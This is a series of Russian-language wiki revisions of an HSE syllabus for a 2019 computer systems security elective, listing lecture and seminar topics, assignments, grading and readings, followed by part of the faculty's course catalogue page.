# (09.09) [https://drive.google.com/file/d/1FXnXAu2NrUgMJFmCOD9eDtGe3Ujq0QpX/view?usp=sharing Вводная лекция. Безопасность приложений как фактор технологической конкуренции. Уязвимости программного обеспечения и атаки на них. Основные понятия и определения. Модель нарушителя.]
# (16.09) Безопасность приложений. Мобильные приложения и их уязвимости.
# (23.09) Безопасность приложений. Injection-атаки и санитизация запросов во внешние подсистемы.
# (30.09) Безопасность приложений. Валидация сложных структур данных. Загрузка файлов. SSRF.
# (07.10) Безопасность приложений. Secure Development Life Cycle - методы поиска недостатков в ПО.
# (14.10) Безопасность приложений. Аутентификация и авторизация.

(2-й модуль)
# (28.10) Безопасность приложений. Уязвимости, связанные с переполнением буфера.
# (04.11) Безопасность приложений. Уязвимости переполнения кучи. Механизмы защиты в современных операционных систем. ASLR, защита стека. Методы обхода.
# (11.11) Механизмы безопасности приложений в операционных системах.
# (18.11) Безопасность приложений. Продвинутые бинарные уязвимости, WebAssembly.
# (25.11) Криптография. Введение и история. Симметричные шифры и атаки на них.
# (02.12) Криптография, Асимметричные шифры и атаки на них.
# (09.12) Криптография. Приложения - PKI, WoT, Блокчейн.
# (16.12) Заключительная лекция.

Семинары:
# (16.09) [[Безопасность компьютерных систем 2019/Уязвимости мобильных приложений]]
# (23.09) [[Безопасность_компьютерных_систем_2019/SQLi|Веб-уязвимости. Обзор, инструменты. SQLi.]]
# (30.09) [[Безопасность_компьютерных_систем_2019/XSS|Веб-уязвимости. XSS.]]
# (07.10) [[Безопасность_компьютерных_систем_2019/File_Upload_and_stuff|Веб-уязвимости. File Upload, прочее интересное.]]
# (14.10) [[Безопасность_компьютерных_систем_2019/Бинарные_программы_1|Бинарные программы. Инструменты.]]
# (28.10) [[Безопасность_компьютерных_систем_2019/Бинарные_программы_2|Бинарные программы. Обнаружение уязвимостей и эксплуатация.]]
# (04.11)
# (11.11) [[Безопасность_компьютерных_систем_2019/SECCOMP|Механизмы безопасности операционных систем на примере Linux Seccomp]]
# (18.11) [[Бинарные программы. Обратная разработка программ.]]
# (25.11) [[Безопасность_компьютерных_систем_2019/XOR|Атаки на блочные шифры.]]
# (02.12) [[Безопасность_компьютерных_систем_2019/RSA|Атаки на RSA.]]
# (09.12) [[Безопасность_компьютерных_систем_2019/Padding|Padding Oracle атаки.]]
# (16.12)

=== Материалы лекций ===

Лекционные материалы публикуются по мере продвижения по курсу.

=== Практические задания ===

В рамках курса нужно выполнять домашние задания, выдаваемые на семинарах. Всего запланировано 4 задания.

[[Безопасность_компьютерных_систем_2019/Задание_1|Задание по теме "Уязвимости мобильных приложений"]]

[[Безопасность_компьютерных_систем_2019/Задание_2|Задание по теме "Веб-уязвимости"]]

[[Безопасность_компьютерных_систем_2019/Задание_3|Задание по теме "Бинарные уязвимости"]]

[[Безопасность_компьютерных_систем_2019/Задание_4|Задание по теме "Криптографические уязвимости"]]

==== Общее ====

=== Итоговый тест ===

=== Оценки ===

=== Расчет оценки ===
Вклад в оценку:
* Практические задания (4 штуки) - 80%
* Итоговый тест (на экзамене) - 20%

=== Литература ===
Основная литература:
* Michał Zalewski. The Tangled Web: A Guide to Securing Modern Web Applications.
* Chris Anley, John Heasman, Felix Lindner, Gerardo Richarte. The Shellcoder's Handbook: Discovering and Exploiting Security Holes.
* Dafydd Stuttard, Marcus Pinto. The Web Application Hacker's Handbook: Detecting and Exploiting Security Flaws.
* Christopher Swenson, Modern Cryptanalysis: Techniques for Advanced Code Breaking.
* Æleen Frisch. Essential system administration.
* Dominic Chell, Tyrone Erasmus, Shaun Colley, Ollie Whitehouse. The Mobile Application Hacker's Handbook

Дополнительная литература:
* [https://docs.google.com/document/d/13zgZ_CRRHADwxf41mSSSuoJQLkMc67TXxpYLoW6lRak/edit#heading=h.l7t8ktb3r2q7 Веб-безопасность 101. Курс молодого бойца.]

=== Контакты ===
* Почта: gamajun@gmail.com, dgamaunov@hse.ru
* Tg: @jamadharma
* Tg чат: https://t.me/hse_security_course

Безопасность компьютерных систем 2019

2019-09-23T10:05:58Z

Gamajun:

== Безопасность компьютерных систем ==

Курс по выбору для студентов 3 и 4 курса ФКН ВШЭ, осень 2019 года (1 и 2 модуль).
Курс состоит из лекций и семинаров. Основной акцент сделан на безопасности приложений и разработке безопасного программного обеспечения.

=== План курса ===

Лекции:

(1-й модуль)

# (09.09) [https://drive.google.com/file/d/1FXnXAu2NrUgMJFmCOD9eDtGe3Ujq0QpX/view?usp=sharing Вводная лекция. Безопасность приложений как фактор технологической конкуренции. Уязвимости программного обеспечения и атаки на них. Основные понятия и определения. Модель нарушителя.]
# (16.09) Безопасность приложений. Мобильные приложения и их уязвимости.
# (23.09) Безопасность приложений. Injection-атаки и санитизация запросов во внешние подсистемы.
# (30.09) Безопасность приложений. Валидация сложных структур данных. Загрузка файлов. SSRF.
# (07.10) Безопасность приложений. Secure Development Life Cycle - методы поиска недостатков в ПО.
# (14.10) Безопасность приложений. Аутентификация и авторизация.

(2-й модуль)
# (28.10) Безопасность приложений. Уязвимости, связанные с переполнением буфера.
# (04.11) Безопасность приложений. Уязвимости переполнения кучи. Механизмы защиты в современных операционных систем. ASLR, защита стека. Методы обхода.
# (11.11) Механизмы безопасности приложений в операционных системах.
# (18.11) Безопасность приложений. Продвинутые бинарные уязвимости, WebAssembly.
# (25.11) Криптография. Введение и история. Симметричные шифры и атаки на них.
# (02.12) Криптография, Асимметричные шифры и атаки на них.
# (09.12) Криптография. Приложения - PKI, WoT, Блокчейн.
# (16.12) Заключительная лекция.

Семинары:
# (16.09) [[Безопасность компьютерных систем 2019/Уязвимости мобильных приложений]]
# (23.09) [[Безопасность_компьютерных_систем_2019/SQLi|Веб-уязвимости. Обзор, инструменты. SQLi.]]
# (30.10) [[Безопасность_компьютерных_систем_2019/XSS|Веб-уязвимости. XSS.]]
# (07.10) [[Безопасность_компьютерных_систем_2019/File_Upload_and_stuff|Веб-уязвимости. File Upload, прочее интересное.]]
# (14.10) Семинар переносится на 30.10
# (28.10) [[Безопасность_компьютерных_систем_2019/FU|Уязвимости загрузки файлов.]]
# (04.11) [[Безопасность_компьютерных_систем_2019/Бинарные_программы_1|Бинарные программы. Инструменты.]]
# (11.11) [[Безопасность_компьютерных_систем_2019/Бинарные_программы_2|Бинарные программы. Обнаружение уязвимостей и эксплуатация.]]
# (18.11) [[Безопасность_компьютерных_систем_2019/SECCOMP|Механизмы безопасности операционных систем на примере Linux Seccomp]]
# (25.11) [[Бинарные программы. Обратная разработка программ.]]
# (02.12) [[Безопасность_компьютерных_систем_2019/XOR|Атаки на блочные шифры.]]
# (09.12) [[Безопасность_компьютерных_систем_2019/RSA|Атаки на RSA.]]
# (16.12) [[Безопасность_компьютерных_систем_2019/Padding|Padding Oracle атаки.]]

=== Материалы лекций ===

Лекционные материалы публикуются по мере продвижения по курсу.

=== Практические задания ===

В рамках курса нужно выполнять домашние задания, выдаваемые на семинарах. Всего запланировано 4 задания.

[[Безопасность_компьютерных_систем_2019/Задание_1|Задание по теме "Уязвимости мобильных приложений"]]

[[Безопасность_компьютерных_систем_2019/Задание_2|Задание по теме "Веб-уязвимости"]]

[[Безопасность_компьютерных_систем_2019/Задание_3|Задание по теме "Бинарные уязвимости"]]

[[Безопасность_компьютерных_систем_2019/Задание_4|Задание по теме "Криптографические уязвимости"]]

==== Общее ====

=== Итоговый тест ===

=== Оценки ===

=== Расчет оценки ===
Вклад в оценку:
* Практические задания (4 штуки) - 80%
* Итоговый тест (на экзамене) - 20%

=== Литература ===
Основная литература:
* Michał Zalewski. The Tangled Web: A Guide to Securing Modern Web Applications.
* Chris Anley, John Heasman, Felix Lindner, Gerardo Richarte. The Shellcoder's Handbook: Discovering and Exploiting Security Holes.
* Dafydd Stuttard, Marcus Pinto. The Web Application Hacker's Handbook: Detecting and Exploiting Security Flaws.
* Christopher Swenson, Modern Cryptanalysis: Techniques for Advanced Code Breaking.
* Æleen Frisch. Essential system administration.
* Dominic Chell, Tyrone Erasmus, Shaun Colley, Ollie Whitehouse. The Mobile Application Hacker's Handbook

Дополнительная литература:
* [https://docs.google.com/document/d/13zgZ_CRRHADwxf41mSSSuoJQLkMc67TXxpYLoW6lRak/edit#heading=h.l7t8ktb3r2q7 Веб-безопасность 101. Курс молодого бойца.]

=== Контакты ===
* Почта: gamajun@gmail.com, dgamaunov@hse.ru
* Tg: @jamadharma
* Tg чат: https://t.me/hse_security_course

Безопасность компьютерных систем 2019

2019-09-16T11:50:53Z

Gamajun: /* План курса */

== Безопасность компьютерных систем ==

Курс по выбору для студентов 3 и 4 курса ФКН ВШЭ, осень 2019 года (1 и 2 модуль).
Курс состоит из лекций и семинаров. Основной акцент сделан на безопасности приложений и разработке безопасного программного обеспечения.

=== План курса ===

Лекции:

(1-й модуль)

# (09.09) [https://drive.google.com/file/d/1FXnXAu2NrUgMJFmCOD9eDtGe3Ujq0QpX/view?usp=sharing Вводная лекция. Безопасность приложений как фактор технологической конкуренции. Уязвимости программного обеспечения и атаки на них. Основные понятия и определения. Модель нарушителя.]
# (16.09) Безопасность приложений. Мобильные приложения и их уязвимости.
# (23.09) Безопасность приложений. Injection-атаки и санитизация запросов во внешние подсистемы.
# (30.09) Безопасность приложений. Валидация сложных структур данных. Загрузка файлов. SSRF.
# (07.10) Безопасность приложений. Secure Development Life Cycle - методы поиска недостатков в ПО.
# (14.10) Безопасность приложений. Аутентификация и авторизация.

(2-й модуль)
# (28.10) Безопасность приложений. Уязвимости, связанные с переполнением буфера.
# (04.11) Безопасность приложений. Уязвимости переполнения кучи. Механизмы защиты в современных операционных систем. ASLR, защита стека. Методы обхода.
# (11.11) Механизмы безопасности приложений в операционных системах.
# (18.11) Безопасность приложений. Продвинутые бинарные уязвимости, WebAssembly.
# (25.11) Криптография. Введение и история. Симметричные шифры и атаки на них.
# (02.12) Криптография, Асимметричные шифры и атаки на них.
# (09.12) Криптография. Приложения - PKI, WoT, Блокчейн.
# (16.12) Заключительная лекция.

Семинары:
# (16.09) [[Безопасность компьютерных систем 2019/Уязвимости мобильных приложений]]
# (23.09) [[Безопасность_компьютерных_систем_2019/XSS|Веб-уязвимости. Обзор, инструменты. XSS.]]
# (30.10) [[Безопасность_компьютерных_систем_2019/SQLi|Веб-уязвимости. SQLi.]]
# (07.10) [[Безопасность_компьютерных_систем_2019/XXE|Веб-уязвимости. XXE, прочее интересное.]]
# (14.10) Семинар переносится на 30.10
# (30.10) [[Безопасность_компьютерных_систем_2019/FU|Уязвимости загрузки файлов.]]
# (04.11) [[Безопасность_компьютерных_систем_2019/Бинарные_программы_1|Бинарные программы. Инструменты.]]
# (11.11) [[Безопасность_компьютерных_систем_2019/Бинарные_программы_2|Бинарные программы. Обнаружение уязвимостей и эксплуатация.]]
# (18.11) [[Безопасность_компьютерных_систем_2019/SECCOMP|Механизмы безопасности операционных систем на примере Linux Seccomp]]
# (25.11) [[Бинарные программы. Обратная разработка программ.]]
# (02.12) [[Безопасность_компьютерных_систем_2019/XOR|Атаки на блочные шифры.]]
# (09.12) [[Безопасность_компьютерных_систем_2019/RSA|Атаки на RSA.]]
# (16.12) [[Безопасность_компьютерных_систем_2019/Padding|Padding Oracle атаки.]]

=== Материалы лекций ===

Лекционные материалы публикуются по мере продвижения по курсу.

=== Практические задания ===

В рамках курса нужно выполнять домашние задания, выдаваемые на семинарах. Всего запланировано 4 задания.

[[Безопасность_компьютерных_систем_2019/Задание_1|Задание по теме "Уязвимости мобильных приложений"]]

[[Безопасность_компьютерных_систем_2019/Задание_2|Задание по теме "Веб-уязвимости"]]

[[Безопасность_компьютерных_систем_2019/Задание_3|Задание по теме "Бинарные уязвимости"]]

[[Безопасность_компьютерных_систем_2019/Задание_4|Задание по теме "Криптографические уязвимости"]]

==== Общее ====

=== Итоговый тест ===

=== Оценки ===

=== Расчет оценки ===
Вклад в оценку:
* Практические задания (4 штуки) - 80%
* Итоговый тест (на экзамене) - 20%

=== Литература ===
Основная литература:
* Michał Zalewski. The Tangled Web: A Guide to Securing Modern Web Applications.
* Chris Anley, John Heasman, Felix Lindner, Gerardo Richarte. The Shellcoder's Handbook: Discovering and Exploiting Security Holes.
* Dafydd Stuttard, Marcus Pinto. The Web Application Hacker's Handbook: Detecting and Exploiting Security Flaws.
* Christopher Swenson, Modern Cryptanalysis: Techniques for Advanced Code Breaking.
* Æleen Frisch. Essential system administration.
* Dominic Chell, Tyrone Erasmus, Shaun Colley, Ollie Whitehouse. The Mobile Application Hacker's Handbook

Дополнительная литература:
* [https://docs.google.com/document/d/13zgZ_CRRHADwxf41mSSSuoJQLkMc67TXxpYLoW6lRak/edit#heading=h.l7t8ktb3r2q7 Веб-безопасность 101. Курс молодого бойца.]

=== Контакты ===
* Почта: gamajun@gmail.com, dgamaunov@hse.ru
* Tg: @jamadharma
* Tg чат: https://t.me/hse_security_course

О факультете

2019-09-16T11:50:29Z

Gamajun: /* Курсы за 2019/20 учебный год */

__NOTOC__

= Учебные курсы факультета компьютерных наук =

== Курсы за 2019/20 учебный год ==
{| class="wikitable"
|-
! 1 курс !! 2 курс !! 3 курс !! 4 курс !! майноры и факультативы
|-
|

[[Математический_анализ_1_2019/2020 | Математический анализ-1 на ПМИ (пилотный поток)]]

[[Математический_анализ_на_ПМИ_2019/2020_(основной_поток) | Математический анализ на ПМИ (основной поток)]]

[[Дискретная_математика_1_2019/2020 | Дискретная математика-1 на ПМИ]]

[[Линейная_алгебра_и_геометрия_на_ПМИ_2019/2020_(пилотный_поток) | Линейная алгебра и геометрия на ПМИ (пилотный поток)]]

[[Линейная_алгебра_и_геометрия_на_ПМИ_2019/2020_(основной_поток) | Линейная алгебра и геометрия на ПМИ (основной поток)]]

[[Основы_и_методология_программирования_1_2019/2020 | Основы и методология программирования-1 на ПМИ (основной поток)]]

[[Основы_и_методология_программирования_1_2019/2020_(пилотный_поток) | Основы и методология программирования-1 на ПМИ (пилотный поток)]]

[[Discrete_Mathematics_DSBA2019/2020 | Discrete Mathematics DSBA (ПАД)]]

[[Calculus_DSBA2019/2020 | Calculus DSBA (ПАД)]]

[[LAaG_DSBA_2019/2020 | Linear Algebra and Geometry (ПАД)]]

[[Introduction_to_programming_DSBA_2019/2020 | Introduction to Programming (ПАД)]]
||

[[DM2-basic2019/2020 | Дискретная математика-2 на ПМИ (основной поток)]]

[[DM2-pilot2019/2020 | Дискретная математика-2 на ПМИ (пилотный поток)]]

[[Теория_вероятностей_2019/2020_(основной_поток)| Теория_вероятностей_2019/2020 на ПМИ (основной поток)]]

[[Теория_вероятностей_и_математическая_статистика_2019/2020_(пилотный_поток)| ТВиМС (пилотный поток)]]

[[Математический_анализ_2019/2020_(пилотный_поток) | Математический анализ 2 на ПМИ (пилотный поток)]]

[[Математический_анализ_2_2019/2020_(основной_поток) | Математический анализ 2 на ПМИ (основной поток)]]

[[Алгоритмы_и_структуры_данных_2_2019/2020 | Алгоритмы и структуры данных – 2 на ПМИ (основной поток)]]

||

[[Машинное_обучение_1 | Машинное обучение 1 на ПМИ]]

[[Прикладная_статистика_в_машинном_обучении(2019)|Прикладная статистика в машинном обучении]]

[[НИС_РС_1|НИС Распределенные системы]]

[[Theory_of_Computing_2019_2020 | Theory of Computing, AMI]]

[[Компьютерные_Сети | Компьютерные сети]]

[[НИС_Машинное_обучение_и_приложения_2019/2020|НИС Машинное обучение и приложения]]

[[Безопасность_компьютерных_систем_2019|Безопасность компьютерных систем]]

||

[[InfTheo2019-2020|Теория информации]]

[[НИС_РС_2|НИС Распределенные системы 2]]

[[НИС_Машинное_обучение_и_приложения_2019/2020|НИС Машинное обучение и приложения]]

[[Байесовские_методы_машинного_обучения_2019|Байесовские методы машинного обучения]]

[[НИС Науки о данных]]

[[Философия_науки_2019|Философия науки]]

[[Безопасность_компьютерных_систем_2019|Безопасность компьютерных систем]]

||
[[MinorBioinformatics|Биоинформатика]]

[[Майнор Интеллектуальный анализ данных/Современные_методы_машинного_обучения | Современные методы машинного обучения (ИАД)]]

[[KotlinElective|Факультатив "Язык Kotlin" (2-3 модули)]]

[[ISDElective|Факультатив "Методы разработки программного обеспечения" (1-2 модули)]]

[[Введение в программирование (курс майнора)]]

||

|}

== Курсы магистратуры ФКН ==

{| class="wikitable"
|-
! Дисциплина !! Образовательная программа !! Курс

|-
| [[Theory_of_Computing_2019_2020 | Theory of Computing]] || Науки о данных, специализация ТИ || 1 курс
|-
| [[Project_Seminar_2019_2020 | Проектный семинар специализации ТИ]] || Науки о данных, специализация ТИ || 1 курс
|-
| [[Stochastic_analysis_2019_2020 | Stochastic Calculus ]] || Statistical Learning Theory || 1 year

|}

== Курсы в рамках проекта [https://www.hse.ru/dataculture/ Data Culture]==
=== 1 семестр ===
{| class="wikitable"
|-
! Дисциплина !! Образовательная программа !! Курс !! Модули

|-
| [[ Основы анализа и визуализация данных для медиа 2019/2020 | Основы анализа и визуализации данных для медиа ]] || Журналистика || 4 курс || 1 модуль
|-
| [[ Анализ данных в Python 2019-2020 | Анализ данных в Python ]] || Политология || 4 курс || 1-2 модули
|-
| [[ Основы анализа данных в международных отношениях | Основы анализа данных в международных отношениях ]] || Международные отношения || 2 курс || 1-2 модуль
|-
| [[Основы программирования в Python (Политология)|Основы программирования в Python]] || Политология || 3 курс || 1-2 модули
|-
| [[Основы программирования на Python осень 2019 матфак|Основы программирования на Python-1]] || Математика || 1-4 курс || 1-2 модули
|-
| [[ Цифровая грамотность (История 2019) | Цифровая грамотность ]] || История || 1 курс || 1-2 модули
|-
| [[ Цифровая грамотность (Востоковедение 2019) | Цифровая грамотность ]] || Востоковедение|| 1 курс || 1-2 модули
|-
| [[ Цифровая_грамотность_2019-2020(философия) | Цифровая грамотность ]] || Философия || 1 курс || 1-2 модули
|-
| [[ Цифровая грамотность (ассириология и античность 2019) | Цифровая грамотность ]] || Ассириология и античность|| 1 курс || 1-2 модули
|-
| [[ПМСАР-2_2019| Методы анализа больших данных в исследованиях поведения покупателей]] || Прикладные методы социального анализа рынков || 2 г.о. || 1-2 модули
|-
| [[Работа с данными]] || Медиакоммуникации || 4 курс || 1 модуль
|-
| [[Машинное обучение (фэн 2019)]] || ФЭН || 3 курс || 1-2 модули
|-
| [[Natural_Language_Processing_Blended_2019_module1 | Natural Language Processing (blended)]] || Прикладная политология || 2 г.о. || 1 модуль
|-
| [[ ML_HSE_NES_2019 | Машинное обучение (ВШЭ-РЭШ)]] || Совместный бакалавриат ВШЭ-РЭШ || 3-4 курс || 1-2 модули
|}

=Архив=
== Курсы за 2018/19 учебный год ==
{| class="wikitable"
|-
! 1 курс !! 2 курс !! 3 курс !! 4 курс !! майноры и факультативы
|-
|

[[Математический_анализ_на_ПМИ_2018/2019_(пилотный_поток) | Математический анализ на ПМИ (пилотный поток)]]

[[Математический_анализ_на_ПМИ_2018/2019_(основной_поток) | Математический анализ на ПМИ (основной поток)]]

[[Calculus_DSBA_2018/2019 | Calculus I DSBA (ПАД)]]

[[Основы_и_методология_программирования_на_ПМИ_2018/2019_(пилотный_поток) | Основы и методология программирования на ПМИ (пилотный поток)]]

[[Основы_и_методология_программирования_на_ПМИ_2019_(С%2B%2B,_основной_поток) | Основы и методология программирования на ПМИ (С++, основной поток)]]

[[Линейная_алгебра_и_геометрия_на_ПМИ_2018/2019_(пилотный_поток) | Линейная алгебра и геометрия на ПМИ (пилотный поток)]]

[[Линейная_алгебра_и_геометрия_на_ПМИ_2018/2019_(основной_поток) | Линейная алгебра и геометрия на ПМИ (основной поток)]]

[[LAaG_DSBA_2018/2019 | LAaG DSBA]]

[[Дискретная_математика_1_2018/2019 | Дискретная математика-1 на ПМИ]]

[[Discrete_Mathematics_DSBA2018/2019 |Discrete Mathematics DSBA (ПАД)]]

[[Introduction_to_programming | Introduction to programming DSBA (ПАД)]]

[[Introduction_to_programming_2 | Introduction to programming 2 DSBA (ПАД)]]

[[Алгебра_на_ПМИ_2018/2019_(пилотный_поток) | Алгебра на ПМИ (пилотный поток)]]

[[Алгебра_на_ПМИ_2018/2019_(основной_поток) | Алгебра на ПМИ (основной поток)]]

[[Algebra_DSBA_2018/2019 | Algebra DSBA]]

[http://hsealgebra19.wikidot.com Алгебра на ПИ]

[[Алгоритмы_и_структуры_данных_2018/2019 | Алгоритмы и структуры данных на ПМИ (основной поток)]]

[[Алгоритмы_и_структуры_данных_2018/2019 (пилотный поток) | Алгоритмы и структуры данных на ПМИ (пилотный поток)]]

||

[http://math-info.hse.ru/s18/t Дифференциальные уравнения]

[[Теория_вероятностей_2018/2019_(основной_поток) | Теория вероятностей на ПМИ (основной поток)]]

[[Теория_вероятностей_2018/2019_(пилотный_поток) | Теория вероятностей на ПМИ (пилотный поток)]]

[[Математический_анализ_2018/2019_(пилотный_поток) | Математический анализ 2 на ПМИ (пилотный поток)]]

[[Математический_анализ_2018/2019_(основной_поток) | Математический анализ 2 на ПМИ (основной поток)]]

[[DM2-pilot2018/2019 | Дискретная математика-2 на ПМИ (пилотный поток)]]

[[DM2-basic2018/2019 | Дискретная математика-2 на ПМИ (основной поток)]]

[[Алгоритмы_и_структуры_данных_2_2018/2019 | Алгоритмы и структуры данных – 2 на ПМИ (основной поток)]]

[[Факультатив Теория вычислений]]

||

[[Машинное_обучение_1/2018_2019 | Машинное обучение 1 на ПМИ]]

[[Машинное_обучение_2 | Машинное обучение 2 на ПМИ]]

[[Численные_Методы_2018 | Численные методы ]]

[[PDC | Параллельные и распределенные вычисления]]

[[Theory_of_Computing_2018_2019 | Theory of Computing, AMI]]

[[НИС_Машинное_обучение_и_приложения_2018/2019|НИС Машинное обучение и приложения]]

[[Прикладная_статистика_в_машинном_обучении(2018)|Прикладная статистика в машинном обучении]]

[[Безопасность_компьютерных_систем_2018|Безопасность компьютерных систем]]

[[НИС_РС|НИС Распределенные системы]]

[[Основные методы анализа данных]]

[[Теория баз данных]]

[[Непрерывная оптимизация/2019|Непрерывная оптимизация (161-162)]]

[[Непрерывная оптимизация (163-167)]]

[[Сложность вычислений и логика в теоретической информатике]]

[[Data analysis (Software Engineering) 2019|Data analysis]]

[[Анализ данных в бизнесе 2019|Анализ данных в бизнесе на ПМИ ]]

[[Intro to DL Blended | Intro to DL Blended]]

[[Дискретная оптимизация 2019 | Дискретная оптимизация 2019]]

||

[[Statistical_learning_theory_2018_2019 | Introduction to statistical learning theory]]

[[Анализ_неструктурированных_данных-2018 |Анализ неструктурированных данных ]]

[[Байесовские_методы_машинного_обучения_2018|Байесовские методы машинного обучения]]

[[НИС_Машинное_обучение_и_приложения_2018/2019|НИС Машинное обучение и приложения]]

[[НИС_Науки_о_данных_2018/2019|НИС Науки о данных]]

[[НИС_Распределенные_системы_(4_курс,_2018)|НИС Распределенные системы]]

[[Теория_Информации_2018/2019|Теория информации]]

[[Безопасность_компьютерных_систем_2018|Безопасность компьютерных систем]]

[[Методы_и_системы_обработки_больших_данных_(осень_2018)|Методы и системы обработки больших данных]]

[[Философия_науки_2018|Философия науки]]

[[Теория баз данных]]

[[ConvAppr19 | Выпуклое программирование и аппроксимационные алгоритмы (ТИ)]]

[[Функциональное программирование 2019 | Функциональное программирование]]

[[A_Theorist's_Toolkit_2018_2019 | A Theorist's Toolkit, AMI]]

[[Анализ данных в бизнесе 2019|Анализ данных в бизнесе на ПМИ ]]

||
[[Дополнительные главы теории вероятностей 2019 | Дополнительные главы теории вероятностей 2019]]

[[Дополнительные главы математической статистики 2019 | Дополнительные главы математической статистики 2019]]

[[Введение в программирование (курс майнора) 2018/2019]]

[[dopglavy_DM_1819|Допглавы дискретной математики]]

[[Современные_методы_машинного_обучения_(курс_майнора)_2018/2019 | Современные методы машинного обучения (курс майнора) 2018/2019]]

[[Прикладные_задачи_анализа_данных_(майнор_-_весна_2019) | Прикладные задачи анализа данных (майнор - весна 2019)]]

[[Майнор Интеллектуальный анализ данных/Введение в анализ данных | Введение в анализ данных (курс майнора)]]

[[Функциональный анализ (весна_2019) | Функциональный анализ (весна_2019)]]

[[KotlinElective| Язык Kotlin (3 и 4 модули 2018-2019)]]

||

|}

== Курсы в рамках проекта [https://www.hse.ru/dataculture/ Data Culture]==
=== 2 семестр ===

{| class="wikitable"
|-
! Дисциплина !! Образовательная программа !! Курс !! Модули

|-
| [[Основы программирования на Python весна 2019 матфак|Основы программирования на Python-2]] || Математика || 2-4 курс || 3-4 модули
|-
| [[Цифровая_грамотность_(филология)|Цифровая грамотность]] || Филология || 1 курс || 3-4 модули
|-
| [[Цифровая_грамотность_(ИИ_и_культурология)|Цифровая грамотность]] || История искусств и Культурология || 1 курс || 3-4 модули
|-
| [[Цифровая_грамотность_(ИЯМК_2019)|Цифровая грамотность]] || Иностранные языки и межкультурная коммуникация (ДИЯ) || 1 курс || 3-4 модули
|-
| [[Основы_анализа_и_визуализации_данных_ДИЯ_2019|Анализ и визуализации данных]] || Иностранные языки и межкультурная коммуникация (ДИЯ) || 2 курс || 3-4 модули
|-
| [[Научно-исследовательский_семинар_2019| Научно-исследовательский семинар]] || Политология || 1 курс || 3 модуль
|-
| [[ММО_Политология_201810|Методы машинного обучения]] || Прикладная политология || 1 г.о. || 2-3 модули
|-
| [[Основы_программирования_в_Python_2019|Основы программирования в Python]] || Мировая экономика || 2 курс || 3-4 модули
|-
| [[Программирование_и_компьютерные_инструменты_лингвистического_исследования|Программирование и компьютерные инструменты лингвистического исследования]] || Фундаментальная и компьютерная лингвистика || 1 курс || 1-4 модули
|-
| [[Компьютерная лингвистика и информационные технологии|Компьютерная лингвистика и информационные технологии]] || Фундаментальная и компьютерная лингвистика || 4 курс || 1-3 модули
|-
| [[ПМСАР-1|Автоматизированный сбор больших данных в экономико-социологических исследованиях]] || Прикладные методы социального анализа рынков || 2 г.о. || 3-4 модули
|-
| [[Искусственный интеллект и большие данные_(2019)|Искусственный интеллект и большие данные]] || Дизайн, Мода, Современное искусство || 1 курс || 3-4 модули
|-
| [[Информационный менеджмент: Введение в Data Science|Информационный менеджмент: Введение в Data Science]] || Управление бизнесом Маркетинг и рыночная аналитика || 1 курс || 4 модуль
|-
| [[Технологии анализа больших данных|Технологии анализа больших данных]] || ГМУ || 1 курс || 4 модуль
|-
| [[Основы программирования на Python (Прикладное программное обеспечение)|Основы программирования на Python (Прикладное программное обеспечение)]] || Социология || 1 курс || 4 модуль
|-
| [[Основы работы с данными|Основы работы с данными]] || Медиакоммуникации || 2 курс || 4 модуль
|-
| [[Введение_в_data_science_Социология_1_курс|Профориентационный семинар (Data Culture)]] || Социология || 1 курс || 4 модуль
|-
| [[Введение_в_анализ_данных_МирЭк_2019|Введение в анализ данных]] || Мировая экономика || 1 курс || 4 модуль

|}

=== 1 семестр ===

{| class="wikitable"
|-
! Дисциплина !! Образовательная программа !! Курс !! Модули

|-
| [[Основы анализа данных в международных отношениях 2018/2019|Основы анализа данных в международных отношениях]] || Международные отношения || 2 курс || 1-2 модули
|-
| [[Introduction_to_Data_Culture_2018-2019|Introduction to Data Culture]] || Программа двух дипломов НИУ ВШЭ и Лондонского университета "Международные отношения" || 1 курс || 2 модуль
|-
| [[Программирование_и_компьютерные_инструменты_лингвистического_исследования|Программирование и компьютерные инструменты лингвистического исследования]] || Фундаментальная и компьютерная лингвистика || 1 курс || 1-4 модули
|-
| [[Цифровая грамотность(востоковедение)|Цифровая грамотность]] || Востоковедение || 1 курс || 1 модуль
|-
| [[Разработка управленческих решений в маркетинге | Разработка управленческих решений в маркетинге]] || Маркетинг и рыночная аналитика || 2 курс || 1-2 модули
|-
| [[Информационные технологии в деятельности юриста_2018-2019| Информационные технологии в деятельности юриста]] || Юриспруденция || 1 курс || 2 модуль
|-
| [[Машинное обучение на матфаке 2018/2019| Машинное обучение]] || Факультет математики || 2-4 курсы || 1-2 модули
|-
| [[ПМСАР-2| Методы анализа больших данных в исследованиях поведения покупателей]] || Прикладные методы социального анализа рынков || 2 г.о. || 1-2 модули
|-
| [[Анализ данных в Python (Политологи 1 семестр 1-2 модули)|Анализ данных в Python]] || Политология || 4 курс || 1-2 модули
|-
| [[Основы анализа и визуализации данных для медиа (Журналисты 1 семестр 1 модуль)|Основы анализа и визуализации данных для медиа]] || Журналистика || 4 курс || 1 модуль
|-
| [[Компьютерная лингвистика и информационные технологии|Компьютерная лингвистика и информационные технологии]] || Фундаментальная и компьютерная лингвистика || 4 курс || 1-3 модули
|-
| [[Введение в анализ текстов на Python для ФГН 2018|Введение в анализ текстов на Python для ФГН 2018]] || Фундаментальная и компьютерная лингвистика || 3 курс || 1, 2, 4 модули
|-
| [[Машинное обучение (ФЭН)]] || Факультет экономических наук || 3-4 курсы || 1-2 модули
|-
| [[Программирование_(python)_для_экономистов|Программирование (Python) для экономистов]] || Факультет экономических наук || 2 курс || 1-2 модули
|-
| [[Цифровая грамотность(философия)|Цифровая грамотность]] || Философия || 1 курс || 1-2 модули
|-
| [[Цифровая_грамотность_(историки)|Цифровая грамотность]] || История || 1 курс || 1-2 модули
|-
| [[Обработка и анализ данных физического эксперимента|Обработка и анализ данных физического эксперимента]] || Физика || 2 курс || 1-2 модули
|-
| [[Статистический анализ в среде R (Социологи 1 семестр 2 модуль)|Статистический анализ в среде R ]] || Социология || 4 курс || 2 модуль
|-
| [[ММО_Политология_201810|Методы машинного обучения]] || Прикладная политология || 1 г.о. || 2-3 модули
|}

==Courses of the Statistical Learning Theory program==
[[Neurobayesian_models_2019|Neurobayesian models]]

== Курсы за 2017/18 учебный год ==
{| class="wikitable"
|-
! 1 курс !! 2 курс !! 3 курс !! 4 курс !! майноры и факультативы
|-
|

[[Математический_анализ_на_ПМИ_2017/2018_(пилотный_поток) | Математический анализ на ПМИ 2017/2018 (пилотный поток)]]

[[Математический_анализ_на_ПМИ_2017/2018_(основной_поток) | Математический анализ на ПМИ 2017/2018 (основной поток)]]

